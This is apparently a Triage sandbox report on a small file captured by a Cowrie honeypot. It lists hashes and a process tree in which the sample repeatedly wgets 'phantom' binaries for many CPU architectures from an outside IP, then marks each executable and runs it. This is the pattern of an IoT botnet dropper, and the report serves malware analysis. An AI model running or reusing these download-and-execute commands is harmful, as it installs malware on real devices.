1b5d46e827ac989be8cb2f99aa8ce3724a8f0d37cee9ff044abe66d74e0b884a | Triage

Analysis

max time kernel
0s
max time network
133s
platform
linux_mipsel
resource
debian9-mipsel-en-20211208
resource tags

arch:mipselimage:debian9-mipsel-en-20211208kernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
18-10-2022 02:32

Sharing

Report Analysis Logs

General

Target

data/cowrie/downloads/dba1abed0c3a0e0e9ae8877d091c6e1ee90373a68cbafc09b907359391dd766c
Size

1KB
MD5

d282aeb196dc438987fa7fee1a0e660f
SHA1

050d2a4da69b9660a3a080292a08ee2db4f94eb3
SHA256

dba1abed0c3a0e0e9ae8877d091c6e1ee90373a68cbafc09b907359391dd766c
SHA512

45fe0bd9a44b8ee979bf03e8557452c3b1026975809ccf13e0b334a31c0b8daef0628464952c4cc78537e08c5d4be96845ae3e700259200b81a0b8177c56d7fb

Score

5^/10

Malware Config

Signatures

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

Processes:

dba1abed0c3a0e0e9ae8877d091c6e1ee90373a68cbafc09b907359391dd766c

description	ioc	process
/tmp/data/cowrie/downloads/dba1abed0c3a0e0e9ae8877d091c6e1ee90373a68cbafc09b907359391dd766c	/tmp/data/cowrie/downloads/dba1abed0c3a0e0e9ae8877d091c6e1ee90373a68cbafc09b907359391dd766c	dba1abed0c3a0e0e9ae8877d091c6e1ee90373a68cbafc09b907359391dd766c

/tmp/data/cowrie/downloads/dba1abed0c3a0e0e9ae8877d091c6e1ee90373a68cbafc09b907359391dd766c
/tmp/data/cowrie/downloads/dba1abed0c3a0e0e9ae8877d091c6e1ee90373a68cbafc09b907359391dd766c
1⤵
- Writes file to tmp directory
PID:331

/usr/bin/wget
wget http://154.16.115.249/bins/phantom.x86
2⤵
PID:332

/bin/cat
cat phantom.x86
2⤵
PID:338

/bin/chmod
chmod +x data robben systemd-private-672e700d2c024d7db4359c510f8a3929-systemd-timesyncd.service-WiagjK
2⤵
PID:339

./robben
./robben Payload
2⤵
PID:340

/usr/bin/wget
wget http://154.16.115.249/bins/phantom.mips
2⤵
PID:342

/bin/cat
cat phantom.mips
2⤵
PID:344

/bin/chmod
chmod +x data robben systemd-private-672e700d2c024d7db4359c510f8a3929-systemd-timesyncd.service-WiagjK
2⤵
PID:345

./robben
./robben Payload
2⤵
PID:346

/usr/bin/wget
wget http://154.16.115.249/bins/phantom.mpsl
2⤵
PID:348

/bin/cat
cat phantom.mpsl
2⤵
PID:350

/bin/chmod
chmod +x data robben systemd-private-672e700d2c024d7db4359c510f8a3929-systemd-timesyncd.service-WiagjK
2⤵
PID:351

./robben
./robben Payload
2⤵
PID:352

/usr/bin/wget
wget http://154.16.115.249/bins/phantom.arm4
2⤵
PID:354

/bin/cat
cat phantom.arm4
2⤵
PID:356

/bin/chmod
chmod +x data robben systemd-private-672e700d2c024d7db4359c510f8a3929-systemd-timesyncd.service-WiagjK
2⤵
PID:357

./robben
./robben Payload
2⤵
PID:358

/usr/bin/wget
wget http://154.16.115.249/bins/phantom.arm5
2⤵
PID:360

/bin/cat
cat phantom.arm5
2⤵
PID:362

/bin/chmod
chmod +x data robben systemd-private-672e700d2c024d7db4359c510f8a3929-systemd-timesyncd.service-WiagjK
2⤵
PID:363

./robben
./robben Payload
2⤵
PID:364

/usr/bin/wget
wget http://154.16.115.249/bins/phantom.arm6
2⤵
PID:366

/bin/cat
cat phantom.arm6
2⤵
PID:368

/bin/chmod
chmod +x data robben systemd-private-672e700d2c024d7db4359c510f8a3929-systemd-timesyncd.service-WiagjK
2⤵
PID:369

./robben
./robben Payload
2⤵
PID:370

/usr/bin/wget
wget http://154.16.115.249/bins/phantom.arm7
2⤵
PID:372

/bin/cat
cat phantom.arm7
2⤵
PID:374

/bin/chmod
chmod +x data robben systemd-private-672e700d2c024d7db4359c510f8a3929-systemd-timesyncd.service-WiagjK
2⤵
PID:375

./robben
./robben Payload
2⤵
PID:376

/usr/bin/wget
wget http://154.16.115.249/bins/phantom.ppc
2⤵
PID:378

/bin/cat
cat phantom.ppc
2⤵
PID:380

/bin/chmod
chmod +x data robben systemd-private-672e700d2c024d7db4359c510f8a3929-systemd-timesyncd.service-WiagjK
2⤵
PID:381

./robben
./robben Payload
2⤵
PID:382

/usr/bin/wget
wget http://154.16.115.249/bins/phantom.m68k
2⤵
PID:384

/bin/cat
cat phantom.m68k
2⤵
PID:386

/bin/chmod
chmod +x data robben systemd-private-672e700d2c024d7db4359c510f8a3929-systemd-timesyncd.service-WiagjK
2⤵
PID:387

./robben
./robben Payload
2⤵
PID:388

/usr/bin/wget
wget http://154.16.115.249/bins/phantom.sh4
2⤵
PID:390

/bin/cat
cat phantom.sh4
2⤵
PID:392

/bin/chmod
chmod +x data robben systemd-private-672e700d2c024d7db4359c510f8a3929-systemd-timesyncd.service-WiagjK
2⤵
PID:393

./robben
./robben Payload
2⤵
PID:394

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...